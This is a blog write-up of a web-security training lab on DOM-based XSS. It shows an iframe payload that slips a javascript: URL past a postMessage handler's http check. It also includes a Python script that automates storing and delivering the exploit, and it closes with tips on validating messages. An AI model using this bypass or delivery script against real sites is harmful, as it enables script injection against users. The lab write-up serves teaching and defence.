Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

DOM XSS using web messages and a JavaScript URL

DOM XSS using web messages and a JavaScript URL: This lab demonstrates a DOM-based redirection vulnerability triggered by web messaging. • PortSwigger • DOM-based, XSS • dom-based, lab1

2022-12-024 tags
Tags

🎯 Objective

This lab demonstrates a DOM-based redirection vulnerability triggered by web messaging.

Goal:

  • Construct an HTML page on the exploit server.
  • Exploit the vulnerability so that the browser calls the print() function.

🔎 Step 1: Source Code Analysis

Reviewing the source code, I found the following snippet:

html
window.addEventListener('message', function(e) { 
  var url = e.data; 
  if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) { 
    location.href = url; 
  } 
}, false);
  • The application listens for postMessage events.
  • If the message contains http: or https:, the browser will redirect the page to that URL.
  • Since there is no validation against javascript: URLs, this logic can be abused.

🔎 Step 2: Crafting the Exploit

I created an iframe-based payload hosted on the exploit server:

html
<html>
  <body>
    <iframe 
      src="https://0a9700d404e94506c038e2ad0006004c.web-security-academy.net/"
      onload="this.contentWindow.postMessage('javascript:print()//http:','*')"
      width="100%" height="100%">
    </iframe>
  </body>
</html>
  • The iframe loads the target application.
  • As soon as it loads, it sends a postMessage with a payload:
    • javascript:print()//http:
  • Since the vulnerable code only checks for http: or https:, the payload passes the filter and executes the print() function.

🔎 Step 3: Python Automation

I automated the exploit delivery using a Python script with BeautifulSoup and requests:

python
#!/usr/bin/env python3
from bs4 import BeautifulSoup
import requests, sys, urllib3, time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

def find_exploitserver(text):
    soup = BeautifulSoup(text, 'html.parser')
    try:
        return soup.find('a', attrs={'id': 'exploit-link'})['href']
    except TypeError:
        return None

def store_exploit(client, exploit_server, host):
    data = {
        'urlIsHttps': 'on',
        'responseFile': f'/{host[8:]}',
        'responseHead': '''HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: unsafe-url''',
        'responseBody': '''
<html>
  <body>
    <iframe src="%s"
      onload="this.contentWindow.postMessage('javascript:print()//http:','*')"
      width="100%" height="100%">
    </iframe>
  </body>
</html>''' % host,
        'formAction': 'STORE'
    }
    return client.post(exploit_server, data=data).status_code == 200

def main():
    print('[+] DOM XSS using web messages')
    try:
        host = sys.argv[1].strip().rstrip('/')
    except IndexError:
        print(f'usage: {sys.argv[0]} LAB-URL')
        sys.exit(-1)

    with requests.session() as client:
        client.verify = False
        client.proxies = proxies
        exploit_server = find_exploitserver(client.get(host).text)
        if exploit_server is None:
            print('Failed to find exploit server')
            sys.exit(-2)

        print('Exploit server found')
        if not store_exploit(client, exploit_server, host):
            print('Failed to store exploit')
            sys.exit(-3)

        print('Exploit server stored..')
        if client.get(f'{exploit_server}/deliver-to-victim', allow_redirects=False).status_code != 302:
            print('Failed to deliver exploit')
            sys.exit(-4)

        print('Delivered exploit')
        time.sleep(2)
        if 'Congratulations, you solved the lab!' not in client.get(f'{host}').text:
            print('[-] Failed to solve lab')
            sys.exit(-9)

        print('Lab solved')

if __name__ == "__main__":
    main()

✅ Result

  • Verified that the application redirected to a javascript: URL via postMessage.
  • Successfully triggered the print() function in the victim’s browser.
  • Lab solved automatically with Python automation. 🎉

💡 Key Takeaway

When handling postMessage data:

  • Always validate the origin (e.origin)
  • Never trust message content without sanitization
  • Do not allow schemes like javascript: to be injected into location.href
Navigate

In this post

  1. 01🎯 Objective
  2. 02🔎 Step 1: Source Code Analysis
  3. 03🔎 Step 2: Crafting the Exploit
  4. 04🔎 Step 3: Python Automation
  5. 05✅ Result
  6. 06💡 Key Takeaway
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.